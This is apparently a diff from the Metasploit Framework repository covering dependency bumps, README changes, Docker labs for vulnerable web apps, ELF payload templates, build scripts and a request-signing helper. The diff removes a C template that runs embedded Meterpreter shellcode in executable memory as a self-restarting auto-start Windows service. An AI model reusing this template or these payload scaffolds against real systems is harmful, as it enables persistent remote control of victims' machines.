rex-rop_builder, 0.1.6, "New BSD"
rex-socket, 0.1.63, "New BSD"
rex-socket, 0.1.64, "New BSD"
rex-sslscan, 0.1.13, "New BSD"
rex-struct2, 0.1.5, "New BSD"
rex-text, 0.2.61, "New BSD"
@@ -184,18 +187,18 @@ rex-zip, 0.1.6, "New BSD"
rexml, 3.4.1, "Simplified BSD"
rinda, 0.2.0, "ruby, Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.13.0, MIT
rspec-core, 3.13.3, MIT
rspec-expectations, 3.13.3, MIT
rspec-mocks, 3.13.2, MIT
rspec-rails, 7.1.1, MIT
rspec, 3.13.1, MIT
rspec-core, 3.13.5, MIT
rspec-expectations, 3.13.5, MIT
rspec-mocks, 3.13.5, MIT
rspec-rails, 8.0.2, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.13.2, MIT
rspec-support, 3.13.6, MIT
rubocop, 1.75.7, MIT
rubocop-ast, 1.44.1, MIT
rubocop-ast, 1.47.1, MIT
ruby-macho, 4.1.0, MIT
ruby-mysql, 4.2.0, MIT
ruby-prof, 1.7.1, "Simplified BSD"
ruby-prof, 1.7.2, "Simplified BSD"
ruby-progressbar, 1.13.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
@@ -216,17 +219,19 @@ swagger-blocks, 3.0.0, MIT
syslog, 0.3.0, "ruby, Simplified BSD"
test-prof, 1.4.4, MIT
thin, 1.8.2, "GPL-2.0+, ruby"
thor, 1.3.2, MIT
thor, 1.4.0, MIT
tilt, 2.6.0, MIT
timecop, 0.9.10, MIT
timeout, 0.4.3, "ruby, Simplified BSD"
toml, 0.2.0, MIT
tsort, 0.2.0, "ruby, Simplified BSD"
ttfunk, 1.8.0, "Nonstandard, GPL-2.0-only, GPL-3.0-only"
tzinfo, 2.0.6, MIT
tzinfo-data, 1.2025.1, MIT
unicode-display_width, 3.1.4, MIT
unicode-emoji, 4.0.4, MIT
unicode-display_width, 3.2.0, MIT
unicode-emoji, 4.1.0, MIT
unix-crypt, 1.3.1, 0BSD
useragent, 0.16.11, MIT
warden, 1.2.9, MIT
webrick, 1.9.1, "ruby, Simplified BSD"
websocket-driver, 0.7.7, "Apache 2.0"
+8 -1
View File
@@ -18,7 +18,14 @@ Submit bugs and feature requests via the [GitHub Issues](https://github.com/rapi
For information on writing modules, refer to the [API Documentation](https://docs.metasploit.com/api/).
## Support and Communication
For questions and suggestions, join the Freenode IRC channel or contact the metasploit-hackers mailing list.
For questions and suggestions, you can:
- Join our [GitHub Discussions](https://github.com/rapid7/metasploit-framework/discussions) for community support and general questions
- Join the [Metasploit Slack](https://join.slack.com/t/metasploit/shared_invite/zt-30i688it0-mJsFGT44IMtdeZi1DraamQ) for real-time chat
- Submit [GitHub Issues](https://github.com/rapid7/metasploit-framework/issues) for bug reports and feature requests
- Follow [@metasploit](https://x.com/metasploit) on X or [@metasploit@infosec.exchange](https://infosec.exchange/@metasploit) on Mastodon for updates
**Note:** Some community members may still use IRC channels and the metasploit-hackers mailing list, though the primary support channels are now GitHub Discussions and Slack.
## Installing Metasploit
+21 -1
View File
@@ -4,6 +4,26 @@ Fiddle.const_set(:VERSION, '0.0.0') unless Fiddle.const_defined?(:VERSION)
require 'rails'
require File.expand_path('../boot', __FILE__)
require 'action_view'
# Monkey patch https://github.com/rails/rails/blob/v7.2.2.1/actionview/lib/action_view/helpers/tag_helper.rb#L51
# Might be fixed by 8.x https://github.com/rails/rails/blob/v8.0.2/actionview/lib/action_view/helpers/tag_helper.rb#L51C1-L52C1
raise unless ActionView::VERSION::STRING == '7.2.2.2' # A developer will need to ensure this is still required when bumping rails
module ActionView::Helpers::TagHelper
class TagBuilder
def self.define_element(name, code_generator:, method_name: name.to_s.underscore)
code_generator.define_cached_method(method_name, namespace: :tag_builder) do |batch|
# Fixing a bug introduced by Metasploit's global Kernel patch: https://github.com/rapid7/metasploit-framework/blob/ae1db09f32cd04c007dbf445cf16dc22c9fc2e53/lib/rex.rb#L74-L79
# which fails when using the below 'instance_methods.include?(method_name.to_sym)' check
batch.push(<<~RUBY) # unless instance_methods.include?(method_name.to_sym)
def #{method_name}(content = nil, escape: true, **options, &block)
tag_string("#{name}", content, options, escape: escape, &block)
end
RUBY
end
end
end
end
all_environments = [
:development,
:production,
@@ -41,7 +61,7 @@ module Metasploit
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
config.autoloader = :zeitwerk
config.load_defaults 7.1
config.load_defaults 7.2
config.eager_load = false
end
@@ -0,0 +1,88 @@
import hashlib
import re
import argparse
import sys
from urllib.parse import urlsplit, parse_qs, unquote, quote
from typing import Dict, List, Tuple
_SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\[\]":, -]')
def compute_signature(method: str, path: str, body: str = '', key: str = '') -> str:
if not method or not path:
raise ValueError("Method and path must be provided.")
url_parts = urlsplit(path)
base_path = url_parts.path
if not base_path.startswith('/'):
base_path = '/' + base_path
raw_query_params: Dict[str, List[str]] = parse_qs(
url_parts.query, keep_blank_values=True, strict_parsing=False
)
canonical_query: List[Tuple[str, str]] = []
for k, v_list in raw_query_params.items():
if k == '_signature':
continue
value = unquote(v_list[0]) if v_list else ''
canonical_query.append((k, value))
canonical_query.sort(key=lambda item: item[0])
query_string = '&'.join(f"{k}={quote(v)}" for k, v in canonical_query)
if query_string:
canonical_path = f"{base_path}?{query_string}"
else:
canonical_path = base_path
canonical_path = re.sub(_SIGNATURE_REGEX, '-', canonical_path)
body_for_signing = re.sub(_SIGNATURE_REGEX, '-', body)
if not key:
password_hash = "da39a3ee5e6b4b0d3255bfef95601890afd80709"
else:
password_hash = hashlib.sha1(key.encode('utf-8')).hexdigest().lower()
data = f"{method.upper()}:{canonical_path}:{body_for_signing}:{password_hash}"
return hashlib.sha1(data.encode('utf-8')).hexdigest().lower()
def main():
parser = argparse.ArgumentParser(description="Computes a SHA1 signature for an HTTP request.")
parser.add_argument('--method', type=str, required=True,
choices=['GET', 'POST', 'PUT', 'DELETE'],
help="The HTTP method (e.g., GET).")
parser.add_argument('--path', type=str, required=True,
help="The canonical path (e.g., /api/resource?param=value).")
parser.add_argument('--key', type=str, default='',
help="The secret key. Defaults to an empty string.")
parser.add_argument('--body', type=str, default='',
help="The request body as a string. Defaults to an empty string.")
try:
args = parser.parse_args()
signature = compute_signature(
method=args.method,
path=args.path,
body=args.body,
key=args.key
)
print(f"Computed Signature: {signature}")
except ValueError as e:
sys.stderr.write(f"Error: {e}\n")
sys.exit(1)
except Exception as e:
sys.stderr.write(f"An unexpected error occurred: {e}\n")
sys.exit(1)
if __name__ == '__main__':
main()
+25
View File
@@ -0,0 +1,25 @@
FROM php:8.3-fpm
RUN apt-get clean && apt-get update && \
apt-get install -y \
wget unzip \
libicu-dev \
libfreetype6-dev \
libjpeg62-turbo-dev \
libxml2-dev \
libwebp-dev \
libpng-dev \
libzip-dev \
libonig-dev \
libcurl4-openssl-dev && \
docker-php-ext-configure gd --with-webp --with-jpeg && \
docker-php-ext-install -j$(nproc) gd xml dom curl mbstring intl gettext zip mysqli && \
pecl install apcu && docker-php-ext-enable apcu && \
rm -rf /var/lib/apt/lists/*
WORKDIR /var/www/html
RUN wget https://github.com/givanz/Vvveb/releases/download/1.0.5/latest.zip && \
unzip latest.zip && rm latest.zip
COPY php.ini /usr/local/etc/php/php.ini
@@ -0,0 +1,43 @@
services:
php:
build: .
container_name: vvveb-php
volumes:
- vvveb_html:/var/www/html
networks:
- vvveb-net
nginx:
image: nginx:stable
container_name: vvveb-nginx
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf
- vvveb_html:/var/www/html:ro
depends_on:
- php
networks:
- vvveb-net
mysql:
image: mysql:5.7
container_name: vvveb-mysql
restart: unless-stopped
environment:
MYSQL_ROOT_PASSWORD: root
MYSQL_DATABASE: vvveb
MYSQL_USER: vvveb
MYSQL_PASSWORD: vvveb
volumes:
- db_data:/var/lib/mysql
networks:
- vvveb-net
networks:
vvveb-net:
driver: bridge
volumes:
db_data:
vvveb_html:
+21
View File
@@ -0,0 +1,21 @@
server {
listen 80;
server_name localhost;
root /var/www/html;
index index.php index.html;
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ \.php$ {
try_files $uri =404;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass php:9000;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
}
}
+5
View File
@@ -0,0 +1,5 @@
display_errors = On
memory_limit = 512M
upload_max_filesize = 64M
post_max_size = 64M
max_execution_time = 300
@@ -1,304 +0,0 @@
#include <String.h>
#include <Windows.h>
#include <stdlib.h>
#include <stdio.h>
#define SERVICE_NAME <%= @service_name.inspect %>
#define DISPLAY_NAME <%= @service_description.inspect %>
#define RETRY_TIME <%= @retry_time %>
//
// Globals
//
SERVICE_STATUS status;
SERVICE_STATUS_HANDLE hStatus;
//
// Meterpreter connect back to host
//
void start_meterpreter()
{
// Your meterpreter shell here
<%= buf %>
LPVOID buffer = (LPVOID)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(buffer,buf,sizeof(buf));
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)(buffer),NULL,0,NULL);
WaitForSingleObject(hThread, -1); //INFINITE
CloseHandle(hThread);
}
//
// Call self without parameter to start meterpreter
//
void self_call()
{
char path[MAX_PATH];
char cmd[MAX_PATH];
if (GetModuleFileName(NULL, path, sizeof(path)) == 0) {
// Get module file name failed
return;
}
STARTUPINFO startup_info;
PROCESS_INFORMATION process_information;
ZeroMemory(&startup_info, sizeof(startup_info));
startup_info.cb = sizeof(startup_info);
ZeroMemory(&process_information, sizeof(process_information));
// If create process failed.
// CREATE_NO_WINDOW = 0x08000000
if (CreateProcess(path, path, NULL, NULL, TRUE, 0x08000000, NULL,
NULL, &startup_info, &process_information) == 0)
{
return;
}
// Wait until the process died.
WaitForSingleObject(process_information.hProcess, -1);
}
//
// Process control requests from the Service Control Manager
//
VOID WINAPI ServiceCtrlHandler(DWORD fdwControl)
{
switch (fdwControl) {
case SERVICE_CONTROL_STOP:
case SERVICE_CONTROL_SHUTDOWN:
status.dwWin32ExitCode = 0;
status.dwCurrentState = SERVICE_STOPPED;
break;
case SERVICE_CONTROL_PAUSE:
status.dwWin32ExitCode = 0;
status.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
status.dwWin32ExitCode = 0;
status.dwCurrentState = SERVICE_RUNNING;
break;
default:
break;
}
if (SetServiceStatus(hStatus, &status) == 0) {
//printf("Cannot set service status (0x%08x)", GetLastError());
exit(1);
}
return;
}
//
// Main function of service
//
VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv)
{
// Register the service handler
hStatus = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler);
if (hStatus == 0) {
//printf("Cannot register service handler (0x%08x)", GetLastError());
exit(1);
}
// Initialize the service status structure
status.dwServiceType = SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS;
status.dwCurrentState = SERVICE_RUNNING;
status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
status.dwWin32ExitCode = 0;
status.dwServiceSpecificExitCode = 0;
status.dwCheckPoint = 0;
status.dwWaitHint = 0;
if (SetServiceStatus(hStatus, &status) == 0) {
//printf("Cannot set service status (0x%08x)", GetLastError());
return;
}
// Start the Meterpreter
while (status.dwCurrentState == SERVICE_RUNNING) {
self_call();
Sleep(RETRY_TIME);
}
return;
}
//
// Installs and starts the Meterpreter service
//
BOOL install_service()
{
SC_HANDLE hSCManager;
SC_HANDLE hService;
char path[MAX_PATH];
// Get the current module name
if (!GetModuleFileName(NULL, path, MAX_PATH)) {
//printf("Cannot get module name (0x%08x)", GetLastError());
return FALSE;
}
// Build the service command line
char cmd[MAX_PATH];
int total_len = strlen(path) + <%= 3 + @start_cmd.length %>;
if (total_len < 0 || total_len >= sizeof(cmd)){
//printf("Cannot build service command line (0x%08x)", -1);
return FALSE;
}
cmd[0] = '\0';
strcat(cmd, "\"");
strcat(cmd, path);
strcat(cmd, "\" <%= @start_cmd %>");
// Open the service manager
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (hSCManager == NULL) {
//printf("Cannot open service manager (0x%08x)", GetLastError());
return FALSE;
}
// Create the service
hService = CreateService(
hSCManager,
SERVICE_NAME,
DISPLAY_NAME,
0xf01ff, // SERVICE_ALL_ACCESS
SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
cmd,
NULL,
NULL,
NULL,
NULL, /* LocalSystem account */
NULL
);
if (hService == NULL) {
//printf("Cannot create service (0x%08x)", GetLastError());
CloseServiceHandle(hSCManager);
return FALSE;
}
// Start the service
char* args[] = { path, "service" };
if (StartService(hService, 2, (const char**)&args) == 0) {
DWORD err = GetLastError();
if (err != 0x420) //ERROR_SERVICE_ALREADY_RUNNING
{
//printf("Cannot start service %s (0x%08x)", SERVICE_NAME, err);
CloseServiceHandle(hService);
CloseServiceHandle(hSCManager);
return FALSE;
}
}
// Cleanup
CloseServiceHandle(hService);
CloseServiceHandle(hSCManager);
//printf("Service %s successfully installed.", SERVICE_NAME);
return TRUE;
}
//
// Start the service
//
void start_service()
{
SERVICE_TABLE_ENTRY ServiceTable[] =
{
{ SERVICE_NAME, &ServiceMain },
{ NULL, NULL }
};
if (StartServiceCtrlDispatcher(ServiceTable) == 0) {
//printf("Cannot start the service control dispatcher (0x%08x)",GetLastError());
exit(1);
}
}
//
// Main function
//
int main()
{
// Parse the command line argument.
// For now, int main(int argc, char *argv) is buggy with metasm.
// So we choose this approach to achieve it.
LPTSTR cmdline;
cmdline = GetCommandLine();
char *argv[MAX_PATH];
char * ch = strtok(cmdline," ");
int argc = 0;
while (ch != NULL)
{
argv[argc] = malloc( strlen(ch)+1) ;
strncpy(argv[argc], ch, strlen(ch)+1);
ch = strtok (NULL, " ");
argc++;
}
if (argc > 1) {
if (strcmp(argv[argc-1], <%= @install_cmd.inspect %>) == 0) {
// Installs and starts the service
install_service();
return 0;
}
else if (strcmp(argv[argc-1], <%= @start_cmd.inspect %>) == 0) {
// Starts the Meterpreter as a service
start_service();
return 0;
}
}
// Starts the Meterpreter as a normal application
start_meterpreter();
return 0;
}
@@ -0,0 +1,14 @@
FROM node:18-alpine
WORKDIR /app
COPY package.json ./
RUN npm install
COPY . .
RUN npm run build
EXPOSE 3000
CMD ["npm", "start"]
@@ -0,0 +1,12 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>React RCE</title>
</head>
<body>
<div id="root"></div>
<script type="module" src="/src/main.jsx"></script>
</body>
</html>
@@ -0,0 +1,6 @@
/** @type {import('next').NextConfig} */
const nextConfig = {
output: 'standalone',
}
module.exports = nextConfig
@@ -0,0 +1,22 @@
{
"name": "my-next-app",
"version": "0.1.0",
"private": true,
"scripts": {
"dev": "next dev",
"build": "next build",
"start": "next start",
"lint": "next lint"
},
"dependencies": {
"react": "19.0.0",
"react-dom": "19.0.0",
"next": "15.0.4"
},
"devDependencies": {
"typescript": "^5",
"@types/node": "^20",
"@types/react": "^18",
"@types/react-dom": "^18"
}
}
@@ -0,0 +1,5 @@
"use server";
export async function greet(name: string) {
return `Hello, ${name}!`;
}
@@ -0,0 +1,11 @@
export default function RootLayout({
children,
}: {
children: React.ReactNode
}) {
return (
<html lang="ru">
<body>{children}</body>
</html>
);
}
@@ -0,0 +1,11 @@
import { greet } from './actions';
export default async function Home() {
const greeting = await greet("World");
return (
<main style={{ padding: '2rem', fontFamily: 'system-ui' }}>
<h1>{greeting}</h1>
</main>
);
}
@@ -0,0 +1,26 @@
{
"compilerOptions": {
"lib": ["dom", "dom.iterable", "esnext"],
"allowJs": true,
"skipLibCheck": true,
"strict": true,
"noEmit": true,
"esModuleInterop": true,
"module": "esnext",
"moduleResolution": "bundler",
"resolveJsonModule": true,
"isolatedModules": true,
"jsx": "preserve",
"incremental": true,
"plugins": [
{
"name": "next"
}
],
"paths": {
"@/*": ["./src/*"]
}
},
"include": ["next-env.d.ts", "**/*.ts", "**/*.tsx", ".next/types/**/*.ts"],
"exclude": ["node_modules"]
}
@@ -0,0 +1,6 @@
import { defineConfig } from "vite";
import react from "@vitejs/plugin-react";
export default defineConfig({
plugins: [react()],
});
@@ -0,0 +1,99 @@
; build with:
; nasm elf_dll_loongarch64_template.s -f bin -o template_loongarch64_linux_dll.bin
BITS 64
org 0
ehdr: ; Elf64_Ehdr
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0 ;
dw 3 ; e_type = ET_DYN
dw 0x102 ; e_machine = LOONGARCH
dd 1 ; e_version
dq _start ; e_entry
dq phdr - $$ ; e_phoff
dq shdr - $$ ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 2 ; e_phnum
dw shentsize ; e_shentsize
dw 2 ; e_shnum
dw 1 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 1 ; p_type = PT_LOAD
dd 7 ; p_flags = rwx
dq 0 ; p_offset
dq $$ ; p_vaddr
dq $$ ; p_paddr
dq 0xDEADBEEF ; p_filesz
dq 0xDEADBEEF ; p_memsz
dq 0x1000 ; p_align
phdrsize equ $ - phdr
dd 2 ; p_type = PT_DYNAMIC
dd 7 ; p_flags = rwx
dq dynsection ; p_offset
dq dynsection ; p_vaddr
dq dynsection ; p_vaddr
dq dynsz ; p_filesz
dq dynsz ; p_memsz
dq 0x1000 ; p_align
shdr:
dd 1 ; sh_name
dd 6 ; sh_type = SHT_DYNAMIC
dq 0 ; sh_flags
dq dynsection ; sh_addr
dq dynsection ; sh_offset
dq dynsz ; sh_size
dd 0 ; sh_link
dd 0 ; sh_info
dq 8 ; sh_addralign
dq 7 ; sh_entsize
shentsize equ $ - shdr
dd 0 ; sh_name
dd 3 ; sh_type = SHT_STRTAB
dq 0 ; sh_flags
dq strtab ; sh_addr
dq strtab ; sh_offset
dq strtabsz ; sh_size
dd 0 ; sh_link
dd 0 ; sh_info
dq 0 ; sh_addralign
dq 0 ; sh_entsize
dynsection:
; DT_INIT
dq 0x0c
dq _start
; DT_STRTAB
dq 0x05
dq strtab
; DT_SYMTAB
dq 0x06
dq strtab
; DT_STRSZ
dq 0x0a
dq 0
; DT_SYMENT
dq 0x0b
dq 0
; DT_NULL
dq 0x00
dq 0
dynsz equ $ - dynsection
strtab:
db 0
db 0
strtabsz equ $ - strtab
align 16
global _start
_start:
+42
View File
@@ -0,0 +1,42 @@
; build with:
; nasm elf_loongarch64_template.s -f bin -o template_loongarch64_linux.bin
BITS 64
org 0x80400000
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0 ;
dw 2 ; e_type = ET_EXEC for an executable
dw 0x102 ; e_machine = LOONGARCH
dd 1 ; e_version
dq _start ; e_entry
dq phdr - $$ ; e_phoff
dq 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 1 ; p_type = PT_LOAD
dd 7 ; p_flags = rwx
dq 0 ; p_offset
dq $$ ; p_vaddr
dq $$ ; p_paddr
dq 0xDEADBEEF ; p_filesz
dq 0xDEADBEEF ; p_memsz
dq 0x1000 ; p_align
phdrsize equ $ - phdr
global _start
_start:
+2 -2
View File
@@ -1,8 +1,8 @@
# PE Source Code
This directory contains the source code for the PE executable templates.
## Building DLLs
Use the provided `build_dlls.bat` file, and run it from within the Visual Studio
## Building
Use the provided `build_all.bat` file, and run it from within the Visual Studio
developer console. The batch file requires that the `%VCINSTALLDIR%` environment
variable be defined (which it should be by default). The build script will
create both the x86 and x64 templates before moving them into the correct
+17
View File
@@ -0,0 +1,17 @@
@echo off
echo Compiling DLLs
for /D %%d in (dll*) do (
pushd "%%d"
call build.bat
popd
)
echo Compiling EXEs
for /D %%e in (exe*) do (
pushd "%%e"
call build.bat
popd
)
-7
View File
@@ -1,7 +0,0 @@
@echo off
for /D %%d in (dll*) do (
pushd "%%d"
build.bat
popd
)
@@ -3,6 +3,7 @@
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
rem mscoree.lib requires .NET SDK to be installed, add it as a Visual Studio component
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 template.cpp /Fe:template_%1_windows_mixed_mode.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 /DSCSIZE=262144 template.cpp /Fe:template_%1_windows_mixed_mode.256kib.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
exit /B
+13
View File
@@ -0,0 +1,13 @@
@echo off
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
cl /GS- template.c /Fe:template_%1_windows.exe /link kernel32.lib /entry:main /subsystem:WINDOWS /NODEFAULTLIB
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.obj *.res
move *.exe ..\..\..
@@ -1,26 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 10.00
# Visual C++ Express 2008
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "service", "service.vcproj", "{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Release|Win32 = Release|Win32
Release|x64 = Release|x64
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Release|Win32.ActiveCfg = Release|Win32
{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Release|Win32.Build.0 = Release|Win32
{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Release|x64.ActiveCfg = Release|x64
{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Release|x64.Build.0 = Release|x64
{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Debug|Win32.ActiveCfg = Release|Win32
{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Debug|Win32.Build.0 = Release|Win32
{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Debug|x64.ActiveCfg = Debug|x64
{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}.Debug|x64.Build.0 = Debug|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -1,343 +0,0 @@
<?xml version="1.0" encoding="Windows-1252"?>
<VisualStudioProject
ProjectType="Visual C++"
Version="9.00"
Name="service"
ProjectGUID="{BED052CD-AD84-45E2-9F9D-2C1D8FE4813F}"
RootNamespace="service"
Keyword="Win32Proj"
TargetFrameworkVersion="196613"
>
<Platforms>
<Platform
Name="Win32"
/>
<Platform
Name="x64"
/>
</Platforms>
<ToolFiles>
</ToolFiles>
<Configurations>
<Configuration
Name="Debug|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="1"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="3"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="4"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Debug|x64"
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="1"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
TargetEnvironment="3"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="3"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="2"
TargetMachine="17"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Release|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="1"
CharacterSet="2"
WholeProgramOptimization="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
EnableIntrinsicFunctions="true"
FavorSizeOrSpeed="2"
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS"
RuntimeLibrary="0"
BufferSecurityCheck="false"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
CallingConvention="2"
CompileAs="1"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
OutputFile="../../../../service.exe"
LinkIncremental="1"
GenerateManifest="false"
GenerateDebugInformation="false"
SubSystem="2"
OptimizeReferences="2"
EnableCOMDATFolding="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Release|x64"
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="1"
CharacterSet="2"
WholeProgramOptimization="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
TargetEnvironment="3"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
EnableIntrinsicFunctions="true"
FavorSizeOrSpeed="2"
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS"
RuntimeLibrary="0"
BufferSecurityCheck="false"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
CallingConvention="2"
CompileAs="1"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
OutputFile="../../../../template_x64_windows_svc.exe"
LinkIncremental="1"
GenerateManifest="false"
GenerateDebugInformation="false"
SubSystem="2"
OptimizeReferences="2"
EnableCOMDATFolding="2"
TargetMachine="17"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
